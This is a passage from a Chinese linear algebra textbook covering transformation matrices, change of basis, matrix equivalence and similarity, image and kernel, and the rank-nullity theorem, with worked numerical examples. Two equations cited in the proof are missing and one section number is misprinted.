\[\hat{\boldsymbol{y}}=\boldsymbol{A}_{\Phi} \hat{\boldsymbol{x}} .
\tag{2.94}
\]

这意味着变换矩阵可以用来将相对于
\(V\)
中有序基的坐标映射为相对于
\(W\)
中有序基的坐标。



**例 2.21(变换矩阵)**

考虑一个同态
\(\Phi: V \rightarrow W\)
以及
\(V\)
的有序基
\(B=\left(\boldsymbol{b}_1, \ldots, \boldsymbol{b}_3\right)\)

\(W\)
的有序基
\(C=\left(\boldsymbol{c}_1, \ldots, \boldsymbol{c}_4\right)\)
。给定

\[\begin{aligned}
& \Phi\left(b_1\right)=c_1-c_2+3 c_3-c_4, \\
& \Phi\left(b_2\right)=2 c_1+c_2+7 c_3+2 c_4, \\
& \Phi\left(b_3\right)=3 c_2+c_3+4 c_4,
\end{aligned}
\tag{2.95}
\]

相对于
\(B\)

\(C\)
的变换矩阵
\(\boldsymbol{A}_{\Phi}\)
满足
\(\Phi\left(\boldsymbol{b}_k\right)=\sum_{i=1}^4 \alpha_{i k} \boldsymbol{c}_i, k=1, \ldots, 3\)
,其表示为

\[\boldsymbol{A}_{\Phi}=\left[\boldsymbol{\alpha}_1, \boldsymbol{\alpha}_2, \boldsymbol{\alpha}_3\right]=\left[\begin{array}{ccc}
1 & 2 & 0 \\
-1 & 1 & 3 \\
3 & 7 & 1 \\
-1 & 2 & 4
\end{array}\right],
\tag{2.96}
\]

其中
\(\boldsymbol{\alpha}_j, j=1,2,3\)
,是
\(\Phi\left(\boldsymbol{b}_j\right)\)
相对于
\(C\)
的坐标向量。


图 2.10 给出了一组向量的三个线性变换示例。图 2.10(a) 展示了
\(\mathbb{R}^2\)
中的 400 个向量,每个向量由相应的
\((x_1, x_2)\)
坐标处的一个点表示。这些向量被排列在一个正方形中。当我们使用矩阵
\(\boldsymbol{A}_1\)
(在公式 2.97 中)对这些向量的每一个进行线性变换时,我们得到了图 2.10(b) 中的旋转正方形。如果我们应用由
\(\boldsymbol{A}_2\)
表示的线性映射,我们将得到图 2.10(c) 中的矩形,其中每个
\(x_1\)
坐标被拉伸了 2 倍。图 2.10(d) 展示了使用
\(\boldsymbol{A}_3\)
进行线性变换后的原始正方形,它结合了反射、旋转和拉伸的效果。

2.7.2 基变换

在接下来的内容中,我们将更仔细地研究线性映射
\(\Phi: V \rightarrow W\)
的变换矩阵在我们改变
\(V\)

\(W\)
中的基时是如何变化的。考虑
\(V\)
的两个有序基

\[B=\left(\boldsymbol{b}_1, \ldots, \boldsymbol{b}_n\right), \quad \tilde{B}=\left(\tilde{\boldsymbol{b}}_1, \ldots, \tilde{\boldsymbol{b}}_n\right)
\tag{2.98}
\]


\(W\)
的两个有序基

\[C=\left(\boldsymbol{c}_1, \ldots, \boldsymbol{c}_m\right), \quad \tilde{C}=\left(\tilde{\boldsymbol{c}}_1, \ldots, \tilde{\boldsymbol{c}}_m\right)
\tag{2.99}
\]

此外,
\(A_{\Phi} \in \mathbb{R}^{m \times n}\)
是相对于基
\(B\)

\(C\)
的线性映射
\(\Phi: V \rightarrow W\)
的变换矩阵,而
\(\tilde{\boldsymbol{A}}_{\Phi} \in \mathbb{R}^{m \times n}\)
是相对于
\(\tilde{B}\)

\(\tilde{C}\)
的相应变换矩阵。接下来,我们将研究
\(\boldsymbol{A}\)

\(\tilde{\boldsymbol{A}}\)
是如何关联的,即如果我们选择从
\(B, C\)
改变基到
\(\tilde{B}, \tilde{C}\)
,我们是否可以/如何将
\(\boldsymbol{A}_{\Phi}\)
转换为
\(\tilde{A}_{\Phi}\)

备注
。我们实际上得到了恒等映射
\(\mathrm{id}_V\)
的不同坐标表示。在图 2.9 的上下文中,这意味着在不改变向量
\(\boldsymbol{x}\)
的情况下,将相对于
\(\left(\boldsymbol{e}_1, \boldsymbol{e}_2\right)\)
的坐标映射到相对于
\(\left(b_1, b_2\right)\)
的坐标。通过改变基和相应地改变向量的表示,相对于这个新基的变换矩阵可以有一个特别简单的形式,这允许进行直接的计算。



**例 2.23(基变换)**

考虑一个相对于
\(\mathbb{R}^2\)
中的标准基的变换矩阵

\[\boldsymbol{A}=\left[\begin{array}{ll}
2 & 1 \\
1 & 2
\end{array}\right]
\tag{2.100}
\]

如果我们定义一个新的基

\[B=\left(\left[\begin{array}{l}
1 \\
1
\end{array}\right],\left[\begin{array}{c}
1 \\
-1
\end{array}\right]\right)
\tag{2.101}
\]

我们将获得一个对角变换矩阵

\[\tilde{\boldsymbol{A}}=\left[\begin{array}{ll}
3 & 0 \\
0 & 1
\end{array}\right]
\tag{2.102}
\]

相对于基
\(B\)
,其比
\(\boldsymbol{A}\)
更容易处理。


接下来,我们将研究将一个基下的坐标向量变换为另一个基下的坐标向量的映射。我们将首先陈述主要结果,然后提供解释。

定理 2.20
(基变换)。对于线性映射
\(\Phi: V \rightarrow W\)

\(V\)
的有序基

\[B=\left(\boldsymbol{b}_1, \ldots, \boldsymbol{b}_n\right), \quad \tilde{B}=\left(\tilde{\boldsymbol{b}}_1, \ldots, \tilde{\boldsymbol{b}}_n\right)
\tag{2.103}
\]


\(W\)
的有序基

\[C=\left(\boldsymbol{c}_1, \ldots, \boldsymbol{c}_m\right), \quad \tilde{C}=\left(\tilde{\boldsymbol{c}}_1, \ldots, \tilde{\boldsymbol{c}}_m\right)
\tag{2.104}
\]

以及相对于基
\(B\)

\(C\)

\(\Phi\)
的变换矩阵
\(\boldsymbol{A}_{\Phi}\)
,相对于基
\(\tilde{B}\)

\(\tilde{C}\)
的相应变换矩阵
\(\tilde{A}_{\Phi}\)
由下式给出:

\[\tilde{A}_{\Phi}=\boldsymbol{T}^{-1} \boldsymbol{A}_{\Phi} S
\tag{2.105}
\]

这里,
\(S \in \mathbb{R}^{n \times n}\)
是将相对于
\(\tilde{B}\)
的坐标映射到相对于
\(B\)
的坐标的
\(\mathrm{id}_V\)
的变换矩阵,而
\(\boldsymbol{T} \in \mathbb{R}^{m \times m}\)
是将相对于
\(\tilde{C}\)
的坐标映射到相对于
\(C\)
的坐标的
\(\mathrm{id}_W\)
的变换矩阵。

证明
遵循 Drumm 和 Weil (2001) 的方法,我们可以将
\(V\)
的新基
\(\tilde{B}\)
的向量表示为基
\(B\)
的基向量的线性组合,使得

\[\tilde{\boldsymbol{b}}_j=s_{1 j} \boldsymbol{b}_1+\cdots+s_{n j} \boldsymbol{b}_n=\sum_{i=1}^n s_{i j} \boldsymbol{b}_i, \quad j=1, \ldots, n .
\tag{2.106}
\]

同样,我们将
\(W\)
的新基向量
\(\tilde{C}\)
表示为基
\(C\)
的基向量的线性组合,得到

\[\tilde{\boldsymbol{c}}_k=t_{1 k} \boldsymbol{c}_1+\cdots+t_{m k} \boldsymbol{c}_m=\sum_{l=1}^m t_{l k} \boldsymbol{c}_l, \quad k=1, \ldots, m .
\tag{2.107}
\]

我们定义
\(\boldsymbol{S} = (s_{ij}) \in \mathbb{R}^{n \times n}\)
为变换矩阵,它将相对于
\(\tilde{B}\)
的坐标映射到相对于
\(B\)
的坐标,定义
\(\boldsymbol{T} = (t_{lk}) \in \mathbb{R}^{m \times m}\)
为变换矩阵,它将相对于
\(\tilde{C}\)
的坐标映射到相对于
\(C\)
的坐标。特别地,
\(\boldsymbol{S}\)
的第
\(j\)
列是
\(\tilde{\boldsymbol{b}}_j\)
相对于
\(B\)
的坐标表示,
\(\boldsymbol{T}\)
的第
\(k\)
列是
\(\tilde{\boldsymbol{c}}_k\)
相对于
\(C\)
的坐标表示。注意,
\(\boldsymbol{S}\)

\(\boldsymbol{T}\)
都是正则矩阵。

我们将从两个角度来观察
\(\Phi(\tilde{\boldsymbol{b}}_j)\)
。首先,应用映射
\(\Phi\)
,我们得到对于所有的
\(j=1, \ldots, n\)

其中我们首先将新的基向量
\(\tilde{\boldsymbol{c}}_k \in W\)
表示为基向量
\(\boldsymbol{c}_l \in W\)
的线性组合,然后交换求和的顺序。

或者,当我们将
\(\tilde{\boldsymbol{b}}_j \in V\)
表示为
\(\boldsymbol{b}_j \in V\)
的线性组合时,我们得到

在这里,我们利用了
\(\Phi\)
的线性特性。比较公式 (2.108) 和 (2.109b),可以得出对于所有的
\(j=1, \ldots, n\)

\(l=1, \ldots, m\)

\[\sum_{k=1}^m t_{l k} \tilde{a}_{k j}=\sum_{i=1}^n a_{l i} s_{i j}
\tag{2.110}
\]

因此,

\[\boldsymbol{T} \tilde{\boldsymbol{A}}_{\Phi}=\boldsymbol{A}_{\Phi} \boldsymbol{S} \in \mathbb{R}^{m \times n},
\tag{2.111}
\]

这样就有

\[\tilde{A}_{\Phi}=T^{-1} A_{\Phi} S,
\tag{2.112}
\]

这证明了定理 2.20。

定理 2.20 告诉我们,当
\(V\)
中的基(
\(B\)

\(\tilde{B}\)
取代)和
\(W\)
中的基(
\(C\)

\(\tilde{C}\)
取代)发生变化时,线性映射
\(\Phi: V \rightarrow W\)
的变换矩阵
\(\boldsymbol{A}_{\Phi}\)
被替换为等效矩阵
\(\tilde{\boldsymbol{A}}_{\Phi}\)
,其关系为:

\[\tilde{A}_{\Phi}=T^{-1} A_{\Phi} S .
\tag{2.113}
\]

图 2.11 说明了这种关系:考虑一个同态映射
\(\Phi: V \rightarrow W\)

\(V\)
的有序基
\(B, \tilde{B}\)

\(W\)
的有序基
\(C, \tilde{C}\)
。映射
\(\Phi_{C B}\)

\(\Phi\)
的一个实例,将
\(B\)
的基向量映射到
\(C\)
的基向量的线性组合。假设我们知道
\(\Phi_{C B}\)
的变换矩阵
\(\boldsymbol{A}_{\Phi}\)
,对应于有序基
\(B, C\)
。当我们在
\(V\)
中从
\(B\)

\(\tilde{B}\)
和在
\(W\)
中从
\(C\)

\(\tilde{C}\)
进行基变换时,我们可以确定相应的变换矩阵
\(\tilde{\boldsymbol{A}}_{\Phi}\)
如下

  • 首先,我们找到线性映射
    \(\Psi_{B \tilde{B}}: V \rightarrow V\)
    的矩阵表示,该映射将相对于新基
    \(\tilde{B}\)
    的坐标映射到(唯一的)相对于“旧”基
    \(B\)
    的坐标(在
    \(V\)
    中)。
  • 然后,我们使用
    \(\Phi_{C B}: V \rightarrow W\)
    的变换矩阵
    \(\boldsymbol{A}_{\Phi}\)
    将这些坐标映射到
    \(W\)
    中相对于
    \(C\)
    的坐标。
  • 最后,我们使用线性映射
    \(\Xi_{\tilde{C} C}: W \rightarrow W\)
    将相对于
    \(C\)
    的坐标映射到相对于
    \(\tilde{C}\)
    的坐标。因此,我们可以将线性映射
    \(\Phi_{\tilde{C} \tilde{B}}\)
    表示为涉及“旧”基的线性映射的组合:

\[\Phi_{\tilde{C} \tilde{B}}=\Xi_{\tilde{C} C} \circ \Phi_{C B} \circ \Psi_{B \tilde{B}}=\Xi_{C \tilde{C}}^{-1} \circ \Phi_{C B} \circ \Psi_{B \tilde{B}} .
\tag{2.114}
\]

具体来说,我们使用
\(\Psi_{B \tilde{B}}=\operatorname{id}_V\)

\(\Xi_{C \tilde{C}}=\mathrm{id}_W\)
,即将向量映射到其自身的恒等映射,但相对于不同的基。

图 2.11 对于同态映射
\(\Phi: V \rightarrow W\)
以及
\(V\)
的有序基
\(B, \tilde{B}\)

\(W\)
的有序基
\(C, \tilde{C}\)
(用蓝色标记),我们可以将相对于基
\(\tilde{B}, \tilde{C}\)
的映射
\(\Phi_{\tilde{C} \tilde{B}}\)
等效地表示为同态映射
\(\Phi_{\tilde{C} \tilde{B}}=\)
\(\Xi_{\tilde{C} C} \circ \Phi_{C B} \circ \Psi_{B \tilde{B}}\)
的组合,其下标表示了相应的基。相应的变换矩阵用红色标出。

定义 2.21
(等价)。如果存在正则矩阵
\(S \in \mathbb{R}^{n \times n}\)

\(\boldsymbol{T} \in \mathbb{R}^{m \times m}\)
,使得
\(\tilde{A} = T^{-1} A S\)
,那么两个矩阵
\(\boldsymbol{A}, \tilde{A} \in \mathbb{R}^{m \times n}\)

等价的

定义 2.22
(相似)。如果存在正则矩阵
\(S \in \mathbb{R}^{n \times n}\)
使得
\(\tilde{A} = \boldsymbol{S}^{-1} \boldsymbol{A} \boldsymbol{S}\)
,那么两个矩阵
\(\boldsymbol{A}, \tilde{A} \in \mathbb{R}^{n \times n}\)

相似的

备注
。相似矩阵总是等价的。然而,等价矩阵不一定是相似的。

备注
。考虑向量空间
\(V, W, X\)
。从定理 2.17 后的备注中我们已经知道,对于线性映射
\(\Phi: V \rightarrow W\)

\(\Psi: W \rightarrow X\)
,映射
\(\Psi \circ \Phi: V \rightarrow X\)
也是线性的。对于相应映射的变换矩阵
\(\boldsymbol{A}_{\Phi}\)

\(\boldsymbol{A}_{\Psi}\)
,整体变换矩阵为
\(\boldsymbol{A}_{\Psi \circ \Phi} = \boldsymbol{A}_{\Psi} \boldsymbol{A}_{\Phi}\)

根据这一说明,我们可以从组合线性映射的角度来看待基变换:

  • \(\boldsymbol{A}_{\Phi}\)
    是相对于基
    \(B, C\)
    的线性映射
    \(\Phi_{C B}: V \rightarrow W\)
    的变换矩阵。
  • \(\tilde{A}_{\Phi}\)
    是相对于基
    \(\tilde{B}, \tilde{C}\)
    的线性映射
    \(\Phi_{\tilde{C} \tilde{B}}: V \rightarrow W\)
    的变换矩阵。
  • \(S\)
    是相对于基
    \(B, \tilde{B}\)
    的线性映射
    \(\Psi_{B \tilde{B}}: V \rightarrow V\)
    (自同构)的变换矩阵,它用
    \(B\)
    来表示
    \(\tilde{B}\)
    。通常,
    \(\Psi=\mathrm{id}_V\)

    \(V\)
    中的恒等映射。
  • \(\boldsymbol{T}\)
    是相对于基
    \(C, \tilde{C}\)
    的线性映射
    \(\Xi_{C \tilde{C}}: W \rightarrow W\)
    (自同构)的变换矩阵,它用
    \(C\)
    来表示
    \(\tilde{C}\)
    。通常,
    \(\Xi=\mathrm{id}_W\)

    \(W\)
    中的恒等映射。

如果我们(非正式地)只根据基来写下这些变换,那么
\(\boldsymbol{A}_{\Phi}: B \rightarrow C, \tilde{\boldsymbol{A}}_{\Phi}: \tilde{B} \rightarrow \tilde{C}, \boldsymbol{S}: \tilde{B} \rightarrow B, \boldsymbol{T}: \tilde{C} \rightarrow C\)

\(\boldsymbol{T}^{-1}: C \rightarrow \tilde{C}\)
,并且

\[\begin{align*}
\tilde{B} \rightarrow \tilde{C} & =\tilde{B} \rightarrow B \rightarrow C \rightarrow \tilde{C} \tag{2.115} \\
\tilde{\boldsymbol{A}}_{\Phi} & =\boldsymbol{T}^{-1} \boldsymbol{A}_{\Phi} \boldsymbol{S} .\tag{2.116}
\end{align*}
\]

注意,公式 (2.116) 中的执行顺序是从右到左的,因为向量是在右侧进行相乘的,所以
\(\boldsymbol{x} \mapsto \boldsymbol{S} \boldsymbol{x} \mapsto \boldsymbol{A}_{\Phi}(\boldsymbol{S} \boldsymbol{x}) \mapsto T^{-1}\left(A_{\Phi}(S x)\right)=\tilde{\boldsymbol{A}}_{\Phi} x\)



**示例 2.24(基变换)**

考虑一个线性映射
\(\Phi: \mathbb{R}^3 \rightarrow \mathbb{R}^4\)
,其变换矩阵为

\[\boldsymbol{A}_{\Phi}=\left[\begin{array}{ccc}
1 & 2 & 0 \\
-1 & 1 & 3 \\
3 & 7 & 1 \\
-1 & 2 & 4
\end{array}\right]
\tag{2.117}
\]

相对于标准基

\[B=\left(\left[\begin{array}{l}
1 \\
0 \\
0
\end{array}\right],\left[\begin{array}{l}
0 \\
1 \\
0
\end{array}\right],\left[\begin{array}{l}
0 \\
0 \\
1
\end{array}\right]\right), \quad C=\left(\left[\begin{array}{l}
1 \\
0 \\
0 \\
0
\end{array}\right],\left[\begin{array}{l}
0 \\
1 \\
0 \\
0
\end{array}\right],\left[\begin{array}{l}
0 \\
0 \\
1 \\
0
\end{array}\right],\left[\begin{array}{l}
0 \\
0 \\
0 \\
1
\end{array}\right]\right) .
\tag{2.118}
\]

我们要找出相对于新基

\[\tilde{B}=\left(\left[\begin{array}{l}
1 \\
1 \\
0
\end{array}\right],\left[\begin{array}{l}
0 \\
1 \\
1
\end{array}\right],\left[\begin{array}{l}
1 \\
0 \\
1
\end{array}\right]\right) \in \mathbb{R}^3, \quad \tilde{C}=\left(\left[\begin{array}{l}
1 \\
1 \\
0 \\
0
\end{array}\right],\left[\begin{array}{l}
1 \\
0 \\
1 \\
0
\end{array}\right],\left[\begin{array}{l}
0 \\
1 \\
1 \\
0
\end{array}\right],\left[\begin{array}{l}
1 \\
0 \\
0 \\
1
\end{array}\right]\right) .
\tag{2.119}
\]

下的变换矩阵
\(\tilde{\boldsymbol{A}}_{\Phi}\)

\[\boldsymbol{S}=\left[\begin{array}{lll}
1 & 0 & 1 \\
1 & 1 & 0 \\
0 & 1 & 1
\end{array}\right], \quad \boldsymbol{T}=\left[\begin{array}{llll}
1 & 1 & 0 & 1 \\
1 & 0 & 1 & 0 \\
0 & 1 & 1 & 0 \\
0 & 0 & 0 & 1
\end{array}\right]
\tag{2.120}
\]

其中
\(S\)
的第
\(i\)
列是
\(\tilde{\boldsymbol{b}}_i\)
相对于基
\(B\)
的坐标表示。由于
\(B\)
是标准基,坐标表示很容易找到。对于一般基
\(B\)
,我们需要解线性方程组以找到
\(\lambda_i\)
使得
\(\sum_{i=1}^3 \lambda_i \boldsymbol{b}_i=\tilde{\boldsymbol{b}}_j, j=1, \ldots, 3\)
。类似地,
\(T\)
的第
\(j\)
列是
\(\tilde{c}_j\)
相对于基
\(C\)
的坐标表示。

因此,我们得到

\[\begin{align*}
\tilde{\boldsymbol{A}}_{\Phi} & =\boldsymbol{T}^{-1} \boldsymbol{A}_{\Phi} \boldsymbol{S}=\frac{1}{2}\left[\begin{array}{cccc}
1 & 1 & -1 & -1 \\
1 & -1 & 1 & -1 \\
-1 & 1 & 1 & 1 \\
0 & 0 & 0 & 2
\end{array}\right]\left[\begin{array}{ccc}
3 & 2 & 1 \\
0 & 4 & 2 \\
10 & 8 & 4 \\
1 & 6 & 3
\end{array}\right] \tag{2.121a} \\
& =\left[\begin{array}{ccc}
-4 & -4 & -2 \\
6 & 0 & 0 \\
4 & 8 & 4 \\
1 & 6 & 3
\end{array}\right] . \tag{2.121b}
\end{align*}
\]


在第4章中,我们将能够利用基变换的概念找到一个基,使得自同态的变换矩阵具有特别简单的(对角)形式。在第10章中,我们将研究一个数据压缩问题,并找到一个方便的基,我们可以将数据投影到这个基上,同时最小化压缩损失。

3.7.3 像和核

线性映射的像和核是具有某些重要性质的向量子空间。接下来,我们将更仔细地描述它们。

定义 2.23
(像和核)。

对于
\(\Phi: V \rightarrow W\)
,我们定义
核/零空间

\[\operatorname{ker}(\Phi):=\Phi^{-1}\left(\mathbf{0}_W\right)=\left\{\boldsymbol{v} \in V: \Phi(\boldsymbol{v})=\mathbf{0}_W\right\}
\]


像/值域

\[\operatorname{Im}(\Phi):=\Phi(V)=\{\boldsymbol{w} \in W \mid \exists \boldsymbol{v} \in V: \Phi(\boldsymbol{v})=\boldsymbol{w}\}
\]

我们也分别称
\(V\)

\(W\)

\(\Phi\)
的定义域和值域。

直观上,核是
\(\Phi\)
映射到
\(W\)
中的中性元素
\(\mathbf{0}_W \in W\)
的向量集
\(\boldsymbol{v} \in V\)
。像是可以通过
\(\Phi\)

\(V\)
中任何向量“到达”的向量
\(\boldsymbol{w} \in W\)
的集合。图 2.12 中给出了一个示意图。

备注
。考虑一个线性映射
\(\Phi: V \rightarrow W\)
,其中
\(V, W\)
是向量空间。

  • \(\Phi\left(\mathbf{0}_V\right)=\mathbf{0}_W\)
    总是成立,因此
    \(\mathbf{0}_V \in \operatorname{ker}(\Phi)\)
    。特别是,零空间永远不会为空。
  • \(\operatorname{Im}(\Phi) \subseteq W\)

    \(W\)
    的一个子空间,而
    \(\operatorname{ker}(\Phi) \subseteq V\)

    \(V\)
    的一个子空间。
  • 当且仅当
    \(\operatorname{ker}(\Phi)=\{\mathbf{0}\}\)
    时,
    \(\Phi\)
    是单射(injective)(一一对应)。

注释
(零空间和列空间)。我们考虑
\(\boldsymbol{A} \in \mathbb{R}^{m \times n}\)
和一个线性映射
\(\Phi: \mathbb{R}^n \rightarrow \mathbb{R}^m, \boldsymbol{x} \mapsto \boldsymbol{A x}\)

  • 对于
    \(\boldsymbol{A}=\left[\boldsymbol{a}_1, \ldots, \boldsymbol{a}_n\right]\)
    ,其中
    \(\boldsymbol{a}_i\)

    \(\boldsymbol{A}\)
    的列,我们得到

\[\begin{align*}
\operatorname{Im}(\Phi) & =\left\{\boldsymbol{A} \boldsymbol{x}: \boldsymbol{x} \in \mathbb{R}^n\right\}=\left\{\sum_{i=1}^n x_i \boldsymbol{a}_i: x_1, \ldots, x_n \in \mathbb{R}\right\} \tag{2.124a} \\
& =\operatorname{span}\left[\boldsymbol{a}_1, \ldots, \boldsymbol{a}_n\right] \subseteq \mathbb{R}^m \tag{2.124b}
\end{align*}
\]

即,像是
\(\boldsymbol{A}\)
列的张成空间,也称为
列空间
。因此,列空间(像)是
\(\mathbb{R}^m\)
的一个子空间,其中
\(m\)
是矩阵的“高度”。

  • \(\operatorname{rk}(\boldsymbol{A})=\operatorname{dim}(\operatorname{Im}(\Phi))\)
  • 核/零空间
    \(\operatorname{ker}(\Phi)\)
    是齐次线性方程组(homogeneous system of linear equations)
    \(\boldsymbol{A x}=\mathbf{0}\)
    的通解,并且包含了所有可能的
    \(\mathbb{R}^n\)
    中的元素的线性组合,它们产生
    \(\mathbf{0} \in \mathbb{R}^m\)
  • 核是
    \(\mathbb{R}^n\)
    的一个子空间,其中
    \(n\)
    是矩阵的“宽度”。
  • 核关注列之间的关系,我们可以用它来确定是否/如何将一列表示为其他列的线性组合。



**示例 2.25(线性映射的像和核)**

映射

\[\begin{align*}
\Phi: \mathbb{R}^4 \rightarrow \mathbb{R}^2, \quad\left[\begin{array}{l}
x_1 \\
x_2 \\
x_3 \\
x_4
\end{array}\right] & \mapsto\left[\begin{array}{cccc}
1 & 2 & -1 & 0 \\
1 & 0 & 0 & 1
\end{array}\right]\left[\begin{array}{l}
x_1 \\
x_2 \\
x_3 \\
x_4
\end{array}\right]=\left[\begin{array}{c}
x_1+2 x_2-x_3 \\
x_1+x_4
\end{array}\right] \tag{2.125a} \\
& =x_1\left[\begin{array}{l}
1 \\
1
\end{array}\right]+x_2\left[\begin{array}{l}
2 \\
0
\end{array}\right]+x_3\left[\begin{array}{c}
-1 \\
0
\end{array}\right]+x_4\left[\begin{array}{l}
0 \\
1
\end{array}\right] \tag{2.125b}
\end{align*}
\]

是线性的。为了确定
\(\operatorname{Im}(\Phi)\)
,我们可以取变换矩阵列的张成空间,得到

\[\operatorname{Im}(\Phi)=\operatorname{span}\left[\left[\begin{array}{l}
1 \\
1
\end{array}\right],\left[\begin{array}{l}
2 \\
0
\end{array}\right],\left[\begin{array}{c}
-1 \\
0
\end{array}\right],\left[\begin{array}{l}
0 \\
1
\end{array}\right]\right]
\tag{2.126}
\]

为了计算
\(\Phi\)
的核(零空间),我们需要解
\(\boldsymbol{A} \boldsymbol{x}=\mathbf{0}\)
,即需要解一个齐次方程组。为此,我们使用高斯消元法将
\(\boldsymbol{A}\)
转换为简化行最简形式:

\[\left[\begin{array}{cccc}
1 & 2 & -1 & 0 \\
1 & 0 & 0 & 1
\end{array}\right] \rightsquigarrow \cdots \rightsquigarrow\left[\begin{array}{cccc}
1 & 0 & 0 & 1 \\
0 & 1 & -\frac{1}{2} & -\frac{1}{2}
\end{array}\right] .
\tag{2.127}
\]

这个矩阵是简化行最简形式,我们可以使用 Minus 1 Trick 计算核的一个基(参见第 2.3.3 节)。或者,我们可以将非主元列(第 3 列和第 4 列)表示为主元列(第 1 列和第 2 列)的线性组合。第三列
\(\boldsymbol{a}_3\)
等于
\(-\frac{1}{2}\)
倍的第二列
\(\boldsymbol{a}_2\)
。因此,
\(\mathbf{0}=\boldsymbol{a}_3+\frac{1}{2} \boldsymbol{a}_2\)
。同样地,我们看到
\(\boldsymbol{a}_4=\boldsymbol{a}_1-\frac{1}{2} \boldsymbol{a}_2\)
,因此
\(\mathbf{0}=\boldsymbol{a}_1-\frac{1}{2} \boldsymbol{a}_2-\boldsymbol{a}_4\)
。总的来说,这给出了核(零空间)为

\[\operatorname{ker}(\Phi)=\operatorname{span}[\left[\begin{array}{l}
0 \\
\frac{1}{2} \\
1 \\
0
\end{array}\right],\left[\begin{array}{c}
-1 \\
\frac{1}{2} \\
0 \\
1
\end{array}\right]]
\tag{2.128}
\]


定理 2.24
(秩-零化度定理)。对于
向量空间
\(V\)

\(W\)
以及
线性映射
\(\Phi: V \rightarrow W\)
,有

\[\operatorname{dim}(\operatorname{ker}(\Phi))+\operatorname{dim}(\operatorname{Im}(\Phi))=\operatorname{dim}(V) .
\tag{2.129}
\]

秩-零化度定理也被称为线性映射的基本定理(Axler, 2015, 定理 3.22)。以下是定理 2.24 的直接推论:

  • 如果
    \(\operatorname{dim}(\operatorname{Im}(\Phi)) < \operatorname{dim}(V)\)
    ,则
    \(\operatorname{ker}(\Phi)\)
    是非平凡的,即核包含除了
    \(\mathbf{0}_V\)
    之外的元素,且
    \(\operatorname{dim}(\operatorname{ker}(\Phi)) \geqslant 1\)
  • 如果
    \(\boldsymbol{A}_{\Phi}\)
    是相对于某个有序基的
    \(\Phi\)
    的变换矩阵,并且
    \(\operatorname{dim}(\operatorname{Im}(\Phi)) < \operatorname{dim}(V)\)
    ,则线性方程组
    \(\boldsymbol{A}_{\Phi} \boldsymbol{x} = \mathbf{0}\)
    有无穷多解。
  • 如果
    \(\operatorname{dim}(V) = \operatorname{dim}(W)\)
    ,则以下三者等价:

\[\Phi \text{ 是单射 } \Longleftrightarrow \Phi \text{ 是满射 } \Longleftrightarrow \Phi \text{ 是双射 }
\]

因为
\(\operatorname{Im}(\Phi) \subseteq W\)